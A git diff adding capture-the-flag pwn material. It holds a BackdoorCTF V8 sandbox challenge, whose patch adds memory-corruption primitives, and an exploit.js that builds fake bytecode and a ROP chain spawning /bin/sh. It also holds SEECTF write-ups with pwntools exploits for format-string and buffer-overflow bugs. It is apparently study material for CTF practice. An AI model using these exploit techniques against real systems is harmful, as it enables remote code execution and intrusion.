diff --git a/BackdoorCTF2024/V8box/public/.gdb_history b/BackdoorCTF2024/V8box/public/.gdb_history new file mode 100644 index 0000000..f4a317a --- /dev/null +++ b/BackdoorCTF2024/V8box/public/.gdb_history @@ -0,0 +1,28 @@ +r exploit.js --shell +x/8gx 0x5555569eb000 +vmmap 0x5555569eb000 +c +r +r exploit.js --allow-natives-syntax +r exploit.js --allow-natives-syntax --shell +x/8gx 0x28770004007d-1 +c +vmmap +x/8gx 0x7fff43610000 +x/8gx 28770004007d-1 +x/8gx 0x28770004007d-1 +x/8gx 0x7fff43610000 +x/8gx 0x28770004007d-1 +b Builtins_LdarHandler +c +r +c +q +r exploit.js --shell +b Builtins_LdarHandler +r +q +r exploit.js --shell +b Builtins_LdarHandler +c +q diff --git a/BackdoorCTF2024/V8box/public/Revision b/BackdoorCTF2024/V8box/public/Revision new file mode 100644 index 0000000..c455f81 --- /dev/null +++ b/BackdoorCTF2024/V8box/public/Revision @@ -0,0 +1 @@ +58f407806ad0ea83d8174dd701ba4b84c3cca14f \ No newline at end of file diff --git a/BackdoorCTF2024/V8box/public/args.gn b/BackdoorCTF2024/V8box/public/args.gn new file mode 100644 index 0000000..824fcf6 --- /dev/null +++ b/BackdoorCTF2024/V8box/public/args.gn @@ -0,0 +1,17 @@ +is_component_build = false +is_debug = false +target_cpu = "x64" +v8_enable_sandbox = true + +v8_enable_backtrace = true +v8_enable_disassembler = true +v8_enable_object_print = true +v8_enable_verify_heap = true + +v8_enable_memory_corruption_api = true + +v8_jitless = true +v8_enable_webassembly = false +v8_enable_sparkplug = false +v8_enable_maglev = false +v8_enable_turbofan = false \ No newline at end of file diff --git a/BackdoorCTF2024/V8box/public/d8 b/BackdoorCTF2024/V8box/public/d8 new file mode 100755 index 0000000..e6cf506 Binary files /dev/null and b/BackdoorCTF2024/V8box/public/d8 differ diff --git a/BackdoorCTF2024/V8box/public/exploit.js b/BackdoorCTF2024/V8box/public/exploit.js new file mode 100644 index 0000000..9b02aef --- /dev/null +++ b/BackdoorCTF2024/V8box/public/exploit.js @@ -0,0 +1,131 @@ +let buf2 = new ArrayBuffer(8); +let f64 = new Float64Array(buf2); +let i64 = new BigUint64Array(buf2); + +const ftoi = x => { + f64[0] = x; + return i64[0]; +}; + +const itof = x => { + i64[0] = x; + return f64[0]; +}; + +const buf = new ArrayBuffer(0x1000); // buffer for storing fake bytecode +const u8buf = new Uint8Array(buf); + +let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000)); +const kHeapObjectTag = 1; +const byteCodeTag = Number(0x2dn << 48n); + +function getPtr(obj) { + return Sandbox.getAddressOf(obj) + kHeapObjectTag; +} + +function getField(obj, offset) { + return memory.getUint32(obj + offset - kHeapObjectTag, true); +} + +function setField(obj, offset, value) { + memory.setUint32(obj + offset, value, true); +} + +function setFieldU64(obj, offset, value) { + memory.setBigUint64(obj + offset, value, true); +} + + +let off = 40; +function pwn(a, b) { + return a + b + 1; +} + +function emit(x) { + u8buf[off] = x; + off++; +} + +function reset() { + off = 40; +} + +pwn(); // call the pwn function so the bytecode will be stored + +const bc_addr = Number(BigInt(getField(getPtr(buf), 0x28)) << 8n); // backing_store +const bc_addr64 = Sandbox.base + bc_addr + 0x80; +console.log(`tag @ 0x${byteCodeTag.toString(16)}`) +console.log(`fake bytecode @ 0x${bc_addr64.toString(16)}`) + +const bc_struct = [ + 0x41, 0x09, 0x00, 0x00, 0x00, 0x14, 0x40, 0x00, + 0x12, 0x00, 0x00, 0x00, 0x7d, 0x44, 0x19, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, + 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0b, 0x04, 0x3f, 0x03, 0x00, 0x4b, 0x01, 0x01, + 0xb3, 0x00, 0x00, 0x00, 0x8d, 0x05, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, 0xfd, 0x3a, 0x19, 0x00, + 0x69, 0x2e, 0x19, 0x00, 0x09, 0x3c, 0x19, 0x00 + ]; + +for(let i = 0; i < bc_struct.length; i++) { + u8buf[i] = bc_struct[i]; +} + +trusted_ptr = ftoi(Sandbox.leakIsolate(0x298)) + 0x10000n +console.log(`trusted_ptr @ 0x${trusted_ptr.toString(16)}`) + +const target = BigInt(byteCodeTag + bc_addr64) + BigInt(kHeapObjectTag); +console.log(target.toString(16)); + +Sandbox.ArbMemoryWrite(trusted_ptr+0x50n, target); + +reset(); +// ldar a0 +emit(0xb); +emit(0x14); +// ret +emit(0xb3); + +var d8Leak = pwn(); +if (d8Leak < 0) { + d8Leak = 0x100000000 + d8Leak; +} + +const bin_base = (BigInt(Sandbox.getPIELeak) | (BigInt(d8Leak) << 1n)) - 0x100a85cn; +console.log(`pie @ 0x${bin_base.toString(16)}`) + +reset(); +// ldar a0 +emit(0xb); +emit(3); + +// star frame pointer +emit(26); +emit(0); + +// ret +emit(0xb3); + +const fill = new Array(0x100).fill(1.1); + +const fakeStack = new Array(0x100).fill(2.2); + +var fakeStackBuf = getPtr(fakeStack); + +setFieldU64(fakeStackBuf, -0x20, BigInt(bc_addr64) + 0x2cn); +setField(fakeStackBuf, -0x28, 0); + + +fakeStackBuf += 0x8; +console.log((bin_base+0x00000000007e8535n).toString(16)); +setFieldU64(fakeStackBuf, 0, bin_base + 0x00000000007e8535n); // pop rdi +setFieldU64(fakeStackBuf, 0x8, BigInt(Sandbox.base + fakeStackBuf) + 0x28n); // /bin/sh ptr + +setFieldU64(fakeStackBuf, 0x10, bin_base + 0x000000000075073en); // pop rsi +setFieldU64(fakeStackBuf, 0x18, 0n); +setFieldU64(fakeStackBuf, 0x20, bin_base + 0x13c13b0n); // execvp + +setFieldU64(fakeStackBuf, 0x28, 0x68732f6e69622fn); // /bin/sh +pwn(fakeStack); \ No newline at end of file diff --git a/BackdoorCTF2024/V8box/public/flag.txt b/BackdoorCTF2024/V8box/public/flag.txt new file mode 100644 index 0000000..1e94434 --- /dev/null +++ b/BackdoorCTF2024/V8box/public/flag.txt @@ -0,0 +1 @@ +flag{fake_flag} \ No newline at end of file diff --git a/BackdoorCTF2024/V8box/public/getflag b/BackdoorCTF2024/V8box/public/getflag new file mode 100755 index 0000000..752e97c Binary files /dev/null and b/BackdoorCTF2024/V8box/public/getflag differ diff --git a/BackdoorCTF2024/V8box/public/snapshot_blob.bin b/BackdoorCTF2024/V8box/public/snapshot_blob.bin new file mode 100644 index 0000000..3f945d9 Binary files /dev/null and b/BackdoorCTF2024/V8box/public/snapshot_blob.bin differ diff --git a/BackdoorCTF2024/V8box/public/vuln.patch b/BackdoorCTF2024/V8box/public/vuln.patch new file mode 100644 index 0000000..6a55112 --- /dev/null +++ b/BackdoorCTF2024/V8box/public/vuln.patch @@ -0,0 +1,152 @@ +From dd6cd956e058d04c0d72c7915ec38e7e38f834b5 Mon Sep 17 00:00:00 2001 +From: Manas +Date: Thu, 12 Dec 2024 20:46:19 +0530 +Subject: [PATCH] kek + +--- + src/d8/d8.cc | 10 +++-- + src/flags/flag-definitions.h | 2 +- + src/sandbox/testing.cc | 77 ++++++++++++++++++++++++++++++++++++ + 3 files changed, 84 insertions(+), 5 deletions(-) + +diff --git a/src/d8/d8.cc b/src/d8/d8.cc +index ef81fbe0b80..70d248e5faa 100644 +--- a/src/d8/d8.cc ++++ b/src/d8/d8.cc +@@ -2297,9 +2297,10 @@ MaybeLocal Shell::CreateRealm( + } + delete[] old_realms; + } +- Local global_template = CreateGlobalTemplate(isolate); ++ // Local global_template = CreateGlobalTemplate(isolate); + Local context = +- Context::New(isolate, nullptr, global_template, global_object); ++ // Context::New(isolate, nullptr, global_template, global_object); ++ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), global_object); + if (context.IsEmpty()) return MaybeLocal(); + DCHECK(!try_catch.HasCaught()); + InitializeModuleEmbedderData(context); +@@ -4147,9 +4148,10 @@ MaybeLocal Shell::CreateEvaluationContext(Isolate* isolate) { + reinterpret_cast(isolate)->main_thread_local_isolate(), + context_mutex_.Pointer()); + // Initialize the global objects +- Local global_template = CreateGlobalTemplate(isolate); ++ // Local global_template = CreateGlobalTemplate(isolate); + EscapableHandleScope handle_scope(isolate); +- Local context = Context::New(isolate, nullptr, global_template); ++ // Local context = Context::New(isolate, nullptr, global_template); ++ Local context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate)); + if (context.IsEmpty()) { + DCHECK(isolate->IsExecutionTerminating()); + return {}; +diff --git a/src/flags/flag-definitions.h b/src/flags/flag-definitions.h +index 644c0983958..9d93ed5779b 100644 +--- a/src/flags/flag-definitions.h ++++ b/src/flags/flag-definitions.h +@@ -2870,7 +2870,7 @@ DEFINE_NEG_IMPLICATION(sandbox_fuzzing, sandbox_testing) + DEFINE_NEG_IMPLICATION(sandbox_testing, sandbox_fuzzing) + + #ifdef V8_ENABLE_MEMORY_CORRUPTION_API +-DEFINE_BOOL(expose_memory_corruption_api, false, ++DEFINE_BOOL(expose_memory_corruption_api, true, + "Exposes the memory corruption API. Set automatically by " + "--sandbox-testing and --sandbox-fuzzing.") + DEFINE_IMPLICATION(sandbox_fuzzing, expose_memory_corruption_api) +diff --git a/src/sandbox/testing.cc b/src/sandbox/testing.cc +index 8bc740937af..fbd2a7c0282 100644 +--- a/src/sandbox/testing.cc ++++ b/src/sandbox/testing.cc +@@ -411,6 +411,79 @@ void SandboxGetFieldOffset(const v8::FunctionCallbackInfo& info) { + info.GetReturnValue().Set(offset); + } + ++// Sandbox.getPIELeak ++void SandboxGetPIELeak(const v8::FunctionCallbackInfo& info){ ++ DCHECK(ValidateCallbackInfo(info)); ++ double leak = (double)((unsigned long int)(&SandboxGetPIELeak) >> 32 << 32); ++ info.GetReturnValue().Set(v8::Number::New(info.GetIsolate(), leak)); ++} ++ ++// Sandbox.leakIsolate(offset) -> double ++void SandboxLeakIsolate(const v8::FunctionCallbackInfo& info){ ++ static int leaked = 0; ++ ++ if(leaked != 0){ ++ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false)); ++ return; ++ } ++ ++ DCHECK(ValidateCallbackInfo(info)); ++ if(info.Length() != 1){ ++ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false)); ++ return; ++ } ++ ++ v8::Isolate* isolate = info.GetIsolate(); ++ v8::Local context = isolate->GetCurrentContext(); ++ ++ Local offset; ++ if(!info[0]->ToInteger(context).ToLocal(&offset)){ ++ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false)); ++ return; ++ } ++ ++ void *addr = (void *)(offset->Value() + isolate); ++ double leak = *(double *)addr; ++ ++ leaked = 1; ++ info.GetReturnValue().Set(v8::Number::New(info.GetIsolate(), leak)); ++} ++ ++// Sandbox.ArbMemoryWrite(addr, value) -> Bool ++void ArbMemoryWrite(const v8::FunctionCallbackInfo& info) { ++ static int written_data = 0; ++ if(written_data != 0){ ++ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false)); ++ return; ++ } ++ ++ DCHECK(ValidateCallbackInfo(info)); ++ ++ v8::Isolate* isolate = info.GetIsolate(); ++ Local context = isolate->GetCurrentContext(); ++ ++ if(info.Length() != 2){ ++ isolate->ThrowError("Expects two BigInt argument (address and value)"); ++ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false)); ++ return; ++ } ++ ++ Local arg1, arg2; ++ if (!info[0]->ToBigInt(context).ToLocal(&arg1) || ++ !info[1]->ToBigInt(context).ToLocal(&arg2)) { ++ isolate->ThrowError("Expects two BigInt argument (address and value)"); ++ return; ++ } ++ ++ uint64_t *address = (uint64_t *)arg1->Uint64Value(); ++ uint64_t value = arg2->Uint64Value(); ++ ++ *address = value; ++ written_data = 1; ++ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), true)); ++} ++ ++ + Handle NewFunctionTemplate( + Isolate* isolate, FunctionCallback func, + ConstructorBehavior constructor_behavior) { +@@ -505,6 +578,10 @@ void SandboxTesting::InstallMemoryCorruptionApi(Isolate* isolate) { + "getInstanceTypeIdFor", 1); + InstallFunction(isolate, sandbox, SandboxGetFieldOffset, "getFieldOffset", 2); + ++ InstallGetter(isolate, sandbox, SandboxGetPIELeak, "getPIELeak"); ++ InstallFunction(isolate, sandbox, SandboxLeakIsolate, "leakIsolate", 1); ++ InstallFunction(isolate, sandbox, ArbMemoryWrite, "arbMemoryWrite", 2); ++ + // Install the Sandbox object as property on the global object. + Handle global = isolate->global_object(); + Handle name = +-- +2.43.0 + diff --git a/BackdoorCTF2024/V8box/pwn_v8box.zip b/BackdoorCTF2024/V8box/pwn_v8box.zip new file mode 100644 index 0000000..7fbc9ca Binary files /dev/null and b/BackdoorCTF2024/V8box/pwn_v8box.zip differ diff --git a/SEECTF/4mats/.gdb_history b/SEECTF/4mats/.gdb_history new file mode 100644 index 0000000..4835139 --- /dev/null +++ b/SEECTF/4mats/.gdb_history @@ -0,0 +1,21 @@ +b*guess_me +r +ni +ni +x/gx $ebp+8 +x/wx $ebp+8 +p 0x000142bb +ni +c +c +ni +ni +r +ni +ni +x/wx $ebp+8 +ni +c +ni +ni +x/wx $ebp+8 diff --git a/SEECTF/4mats/README.md b/SEECTF/4mats/README.md new file mode 100644 index 0000000..1f9d0c9 --- /dev/null +++ b/SEECTF/4mats/README.md @@ -0,0 +1,141 @@ +## 4mats +![4mats](images/4mats.png) + +### Description +>Author: Enyei\ +>ets get to know each other\ +>nc fun.chall.seetf.sg 50001\ +>For beginners:\ +>https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/ \ +>MD5: ceb6336c44a38f093de9bfb3e3902a0 + +### Gain Shell +This is just a basic formatstring vuln challenge. The source code was given, and it look like this. +```c +#include +#include +#include + +char name[16]; +char echo[100]; +int number; +int guess; +int set = 0; +char format[64] = {0}; + + +void guess_me(int fav_num){ + printf("Guess my favourite number!\n"); + scanf("%d", &guess); + if (guess == fav_num){ + printf("Yes! You know me so well!\n"); + system("cat flag"); + exit(0);} + else{ + printf("Not even close!\n"); + } + +} + + +int main() { + +mat1: + printf("Welcome to SEETF!\n"); + printf("Please enter your name to register: %s\n", name); + read(0, name, 16); + + printf("Welcome: %s\n", name); + + while(1) { +mat2: + printf("Let's get to know each other!\n"); + printf("1. Do you know me?\n"); + printf("2. Do I know you?\n"); + +mat3: + scanf("%d", &number); + + + switch (number) + { + case 1: + srand(time(NULL)); + int fav_num = rand() % 1000000; + set += 1; +mat4: + guess_me(fav_num); + break; + + case 2: +mat5: + printf("Whats your favourite format of CTFs?\n"); + read(0, format, 64); + printf("Same! I love \n"); + printf(format); + printf("too!\n"); + break; + + default: + printf("I print instructions 4 what\n"); + if (set == 1) +mat6: + goto mat1; + else if (set == 2) + goto mat2; + else if (set == 3) +mat7: + goto mat3; + else if (set == 4) + goto mat4; + else if (set == 5) + goto mat5; + else if (set == 6) + goto mat6; + else if (set == 7) + goto mat7; + break; + } + } + return 0; +} +``` + +We can leak the **fav_num** with formatstring vuln at offset 7, just input `%7$d`.\ +![pointytail](images/4mats2.png) +For prevent **fav_num** to random again, we need set the **set** value to 4 first then leak the favnum.\ +After that just input anything but not 1 or 2, the it will jump to default and because set value was 4, it will go to **mat4** and call the **guess_me()** function.\ +Now just input the number and got the flag. + +Full script: + +```py +from pwn import * +from sys import * + +elf = context.binary = ELF("./vuln") +p = process("./vuln") +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50001 + +cmd = """ +b*main +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + +p.sendline(b'Linz') +for i in range(4): + p.sendline(b'1') + p.sendline(b'123') + +p.sendline(b'2') +p.sendlineafter(b"?\n", b'%7$d') + +p.interactive() +``` \ No newline at end of file diff --git a/SEECTF/4mats/exploit.py b/SEECTF/4mats/exploit.py new file mode 100644 index 0000000..9025f17 --- /dev/null +++ b/SEECTF/4mats/exploit.py @@ -0,0 +1,28 @@ +from pwn import * +from sys import * + +elf = context.binary = ELF("./vuln") +p = process("./vuln") +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50001 + +cmd = """ +b*main +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + +p.sendline(b'Linz') +for i in range(4): + p.sendline(b'1') + p.sendline(b'123') + +p.sendline(b'2') +p.sendlineafter(b"?\n", b'%7$d') + +p.interactive() \ No newline at end of file diff --git a/SEECTF/4mats/images/4mats.png b/SEECTF/4mats/images/4mats.png new file mode 100644 index 0000000..6542fe7 Binary files /dev/null and b/SEECTF/4mats/images/4mats.png differ diff --git a/SEECTF/4mats/images/4mats2.png b/SEECTF/4mats/images/4mats2.png new file mode 100644 index 0000000..e4930b6 Binary files /dev/null and b/SEECTF/4mats/images/4mats2.png differ diff --git a/SEECTF/4mats/vuln b/SEECTF/4mats/vuln new file mode 100755 index 0000000..b61cd5b Binary files /dev/null and b/SEECTF/4mats/vuln differ diff --git a/SEECTF/4mats/vuln.c b/SEECTF/4mats/vuln.c new file mode 100644 index 0000000..eb0b77d --- /dev/null +++ b/SEECTF/4mats/vuln.c @@ -0,0 +1,87 @@ +#include +#include +#include + +char name[16]; +char echo[100]; +int number; +int guess; +int set = 0; +char format[64] = {0}; + + +void guess_me(int fav_num){ + printf("Guess my favourite number!\n"); + scanf("%d", &guess); + if (guess == fav_num){ + printf("Yes! You know me so well!\n"); + system("cat flag"); + exit(0);} + else{ + printf("Not even close!\n"); + } + +} + + +int main() { + +mat1: + printf("Welcome to SEETF!\n"); + printf("Please enter your name to register: %s\n", name); + read(0, name, 16); + + printf("Welcome: %s\n", name); + + while(1) { +mat2: + printf("Let's get to know each other!\n"); + printf("1. Do you know me?\n"); + printf("2. Do I know you?\n"); + +mat3: + scanf("%d", &number); + + + switch (number) + { + case 1: + srand(time(NULL)); + int fav_num = rand() % 1000000; + set += 1; +mat4: + guess_me(fav_num); + break; + + case 2: +mat5: + printf("Whats your favourite format of CTFs?\n"); + read(0, format, 64); + printf("Same! I love \n"); + printf(format); + printf("too!\n"); + break; + + default: + printf("I print instructions 4 what\n"); + if (set == 1) +mat6: + goto mat1; + else if (set == 2) + goto mat2; + else if (set == 3) +mat7: + goto mat3; + else if (set == 4) + goto mat4; + else if (set == 5) + goto mat5; + else if (set == 6) + goto mat6; + else if (set == 7) + goto mat7; + break; + } + } + return 0; +} diff --git a/SEECTF/Pointytail/README.md b/SEECTF/Pointytail/README.md new file mode 100644 index 0000000..22a43ef --- /dev/null +++ b/SEECTF/Pointytail/README.md @@ -0,0 +1,288 @@ +## Pointy Tail +![pointytail](images/pointytail.png) + +### Description +>Author: Neobeo\ +>Types in .NET are so confusing: should a Point type be a struct or a class? Let's have one of each, just to compare.\ +>nc fun.chall.seetf.sg 50007\ +>MD5: 211020d68a6243fa5572b360b27eb8d + + +### Introduction +In this challenge we are given 6 files including the Dockerfile.\ +The challenge file is in *pointytail.dll*. First step here we analyze what file is it just type command + +```bash +$ file pointytail.dll +# pointytail.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows +``` + +The file is compiled by .NET framework, well I never have experience on exploiting .NET before xd, so let's give a shot.\ +Okay, next look at the Dockerfile is it the server running on windows or on linux. + +```Docker +FROM mcr.microsoft.com/dotnet/runtime:6.0-focal-amd64 +WORKDIR /app + +RUN useradd -m chall +RUN apt update +RUN apt install -y socat + +COPY flag.txt . +COPY pointytail.dll . +COPY pointytail.runtimeconfig.json . + +RUN chmod +r flag.txt +RUN chmod +r pointytail.dll +RUN chmod +r pointytail.runtimeconfig.json + +USER chall + +ENTRYPOINT socat tcp-l:1336,fork,reuseaddr exec:"dotnet pointytail.dll" +``` + +The docker pull from mcr.microsoft, at first I thought that's the windows image. But the docker using apt so it's a linux image.\ +The file running by dotnet, so we need to install dotnet first on our machine. For the installation guide you can see one of tutorial [Here](https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu).\ +Next, after finished install dotnet just simply run command like this to execute the challenge. + +``` +$ dotnet pointytail.dll +``` + + +### The Bug +For finding the bug, we need to decompile the dll files, to do that we can use decompiler tools [ILSpy](https://github.com/icsharpcode/ILSpy).\ +Just download the release file and run the ILSpy. + + +```c# +private static void Main() +{ + PointStruct pointStruct = default(PointStruct); + pointStruct.x = rnd.NextDouble(); + pointStruct.y = rnd.NextDouble(); + PointStruct s = pointStruct; + Main2(ref s); +} + +``` + +The **Main()** function declare the *PointStruct* and fill it with double value, and then call **Main2(ref s)** function.\ +The **PointStruct** it's look like this. + +```c# +private struct PointStruct +{ + public double x; + + public double y; +} +``` + +Alright, not so complex struct let's move to *Main2()* + +```c# +private static void Main2(ref PointStruct s) +{ + PointClass c = new PointClass + { + x = rnd.NextDouble(), + y = rnd.NextDouble() + }; + Main3(ref s, ref c); +} +``` +This function declare **PointClass** and fill with double value again, the Class it's look like this: +```c# +private class PointClass +{ + public double x; + + public double y; +} +``` + +Next **Main3()** function: +```c# +private static void Main3(ref PointStruct s, ref PointClass c) +{ + Console.WriteLine("Which is better, a struct or a class? Why not both!"); + while (true) + { + string[] array = Console.ReadLine().Split(' ', (StringSplitOptions)0); + string text = array[0]; + if (!(text == "s")) + { + if (text == "c") + { + c.x = double.Parse(array[1]); + c.y = double.Parse(array[2]); + } + else + { + Console.WriteLine("s = ({0}, {1})", (object)s.x, (object)s.y); + Console.WriteLine("c = ({0}, {1})", (object)c.x, (object)c.y); + } + } + else + { + s.x = double.Parse(array[1]); + s.y = double.Parse(array[2]); + } + } +} +``` + +The challenge will be start from this function, honestly i dont understand too much about C#. But this code not too complicated, the program will ask our input, if our input start with **s** followed by the double value, then it will fill the object of **s**, this same with object of **c**. And if our input not started with **s** or **c**, it will print the result. + +```bash +$ dotnet pointytail.dll +$ Which is better, a struct or a class? Why not both! +$ 1 +$ s = (6.93762983151493E-310, 6.95307569920877E-310) +$ c = (0.9251204335393668, 0.26444549835642683) +$ c 0 0 +$ 1 +$ s = (6.93762983151493E-310, 6.95307569920877E-310) +$ c = (0, 0) + +```` +Well, honestly i dont have idea where the bug is from just read the code. But after try some random input, I found an interesting error while debugging at gdb.\ +For debugging I use script like this. +```py +from pwn import * +from sys import * + + +HOST = "fun.chall.seetf.sg" +PORT = 50007 +p = process(["dotnet", "pointytail.dll"]) +print(util.proc.pidof(p)) +p.interactive() +``` +Then just attach the pidof at gdb. When we Input `s 0 0` the error show Object reference is not set.\ +![pointytail](images/pointytail1.png) +Next here I try to convert the first value of **s** from decimal to hex to see what is that. + +```py +def do2hex(f): + return (struct.unpack(' +![pointytail](images/pointytail6.png) +The offset to the rwxp will be same, With this now we have the rwxp address. +```py +def do2hex(f): + return (struct.unpack('I did a check on my return address. Now you shouldn't be able to control my RIP.\ +>nc fun.chall.seetf.sg 50003\ +>MD5: a9a706d9b8d73ec0ee5c39bf0505d85e + + +### Gain Shell +Bufferoverflow challenge, but this time no sourcecode given, we can decompile the ELF file with IDA or Ghidra. Here I'm using IDA7.7.\ +No PIE and no Canary. +```bash +linuz@linz:~/Desktop/CSI/Writeup/International/PWN-Writeup/SEECTF/easy_overflow$ checksec easy_overflow +[*] '/home/linuz/Desktop/CSI/Writeup/International/PWN-Writeup/SEECTF/easy_overflow/easy_overflow' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) +``` +The **main()** function it's like this: +```c +int __cdecl main(int argc, const char **argv, const char **envp) +{ + char s[32]; // [rsp+0h] [rbp-20h] BYREF + + setbuf(stdout, 0LL); + setbuf(stdin, 0LL); + puts("I will let you overflow me."); + vuln(); + puts("I will give you one more chance."); + fgets(s, 8, stdin); + puts(s); + return 0; +} +``` + +And the **vuln()** function is like this: +```c +int vuln() +{ + char v1[32]; // [rsp+0h] [rbp-20h] BYREF + char *retaddr; // [rsp+28h] [rbp+8h] + + gets(v1); + if ( retaddr != main + 70 ) + { + puts("Naughty Boi\n"); + exit(-1); + } + return puts("Good boi\n"); +} +``` + +There's a bufferoverflow in **vuln()** because program using **gets()** but there's a manual check on return if return not **main+70** it will exit.\ +With this bufferoverflow we can overwrite the address of **s** at **main()** function. So after back to main it will like this.\ +![overflow](images/easyoverflow2.png) +```py +payload = b'A'*32 +payload += p64(0xdeadbeef) +payload += p64(elf.sym['main']+70) +p.sendline(payload) +``` +With this we can overwrite the GOT PUTS to **win()** function. Because there's `lea, [rbp-0x20]` our value will be substracted with 0x20, just add +0x20 to get the correct value. + +Full Script: + +```py +from pwn import * +from sys import * + +elf = context.binary = ELF("./easy_overflow") +p = process("./easy_overflow") +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50003 + +cmd = """ +b*0x00000000004011a1 +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + + +payload = b'A'*32 +payload += p64(elf.got['puts']+0x20) +payload += p64(elf.sym['main']+70) +p.sendline(payload) +p.sendline(p64(elf.sym['win'])) +p.interactive() +```` \ No newline at end of file diff --git a/SEECTF/easy_overflow/easy_overflow b/SEECTF/easy_overflow/easy_overflow new file mode 100755 index 0000000..ae28472 Binary files /dev/null and b/SEECTF/easy_overflow/easy_overflow differ diff --git a/SEECTF/easy_overflow/exploit.py b/SEECTF/easy_overflow/exploit.py new file mode 100644 index 0000000..7a9723d --- /dev/null +++ b/SEECTF/easy_overflow/exploit.py @@ -0,0 +1,26 @@ +from pwn import * +from sys import * + +elf = context.binary = ELF("./easy_overflow") +p = process("./easy_overflow") +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") + +HOST = 'fun.chall.seetf.sg' +PORT = 50003 + +cmd = """ +b*0x00000000004011a1 +""" + +if(argv[1] == 'gdb'): + gdb.attach(p,cmd) +elif(argv[1] == 'rm'): + p = remote(HOST,PORT) + + +payload = b'A'*32 +payload += p64(elf.got['puts']+0x20) +payload += p64(elf.sym['main']+70) +p.sendline(payload) +p.sendline(p64(elf.sym['win'])) +p.interactive() \ No newline at end of file diff --git a/SEECTF/easy_overflow/images/easyoverflow.png b/SEECTF/easy_overflow/images/easyoverflow.png new file mode 100644 index 0000000..2c67d7e Binary files /dev/null and b/SEECTF/easy_overflow/images/easyoverflow.png differ diff --git a/SEECTF/easy_overflow/images/easyoverflow2.png b/SEECTF/easy_overflow/images/easyoverflow2.png new file mode 100644 index 0000000..c607071 Binary files /dev/null and b/SEECTF/easy_overflow/images/easyoverflow2.png differ diff --git a/SEECTF/easy_overflow/pwn_easy_overflow.zip b/SEECTF/easy_overflow/pwn_easy_overflow.zip new file mode 100644 index 0000000..ebca492 Binary files /dev/null and b/SEECTF/easy_overflow/pwn_easy_overflow.zip differ diff --git a/SEECTF/hall_of_fame/.gdb_history b/SEECTF/hall_of_fame/.gdb_history new file mode 100644 index 0000000..cbfefb9 --- /dev/null +++ b/SEECTF/hall_of_fame/.gdb_history @@ -0,0 +1,225 @@ +r +vis +q +r +vis +r +vis +c +vis +c +x 0x00007ffff7dd5660 +x/gx 0x00007ffff7dd5660 +vmmap +vis +x 0x00007fffffffdd28 +c +r +vis +c +r +vis +c +r +vis +ni +ni +checksec +r +vis +q +c +vis +vmmap +c +vis +vmmap +q +c +c +q +c +q +c +vis +q +c +vis +q +c +vis +q +c +vis +q +c +vis +vis +x/gx &__free_hook +q +c +x/gx &__free_hook +vis +vmmap +x/8gx 0x603000 +q +c +vis +q +c +vis +c +vis +q +b*main +r +ni +vis +ni +vis +ni +vis +ni +vis +ni +vis +ni +vis +ni +ni +vis +p/x 0x55555555a360-0x555555558020 +p/x 0x555555558020-0x55555555a360-0x10 +p/x 0x555555558020-0x55555555a360 +p/x 0x555555558020-0x55555555a360-0x20 +ni +vis +ni +vis +ni +q +c +vis +q +c +vis +vis +vmmap +c +x/8gx $__free_hook +x/8gx &__free_hook +c +vis +vmmap +x/8gx 0x603000 +x 0x00007ffff7de3b40 +p &__free_hook +q +vis +vmmap +q +c +vis +q +c +x 0x8000000000603280 +x 0x000000000603280 +vmmap +x/gx 0x602000 +q +c +q +c +vis +ni +vis +ni +c +ni +ni +q +c +c +c +ni +x/gx 0x602510 +vmmap +x/gx 0x602000 +vis +q +c +q +c +c +q +c +ni +ni +vmmap +x/gx 0x602000 +q +c +ni +c +ni +c +q +c +ni +c +ni +x/gx 0x603280 +vmmap +x/gx 0x602000 +q +c +q +c +ni +q +c +ni +q +c +vis +c +q +c +ni +q +c +ni +c +ni +q +c +c +ni +c +ni +q +c +ni +c +ni +p &__free_hook +p/x 0x7ffff7dcf900-0x7ffff7dcf8e8 +q +c +ni +p/x 0x7ffff7dcf900-0x7ffff7dcf8e8 +q +c +ni +x/gx &__malloc_hook +p/x 0x7ffff7dcdc50-0x7ffff7dcdc30 +p/x 0x7ffff7dcdc50 +x/8gx 0x7ffff7dcdc50 +q +c +ni +x/gx &__malloc_hook +q +c +ni +q diff --git a/SEECTF/hall_of_fame/README.md b/SEECTF/hall_of_fame/README.md new file mode 100644 index 0000000..e88ba44 --- /dev/null +++ b/SEECTF/hall_of_fame/README.md @@ -0,0 +1,107 @@ +## Hall of Fame +![hof](images/hof.png) + +### Description +>Author: @L0uisJ0shua\ +>It’s about drive, it’s about power, we stay hungry, we devour Put in the work, put in the hours and take what’s ours. Time to get to the Hall of Fame and be among the GOATS.\ +>nc fun.chall.seetf.sg 50004\ +>MD5: 3264e936e673b0de0ec61698b9bb930f + + + +### Gain Shell +Heap exploitation challenge, with 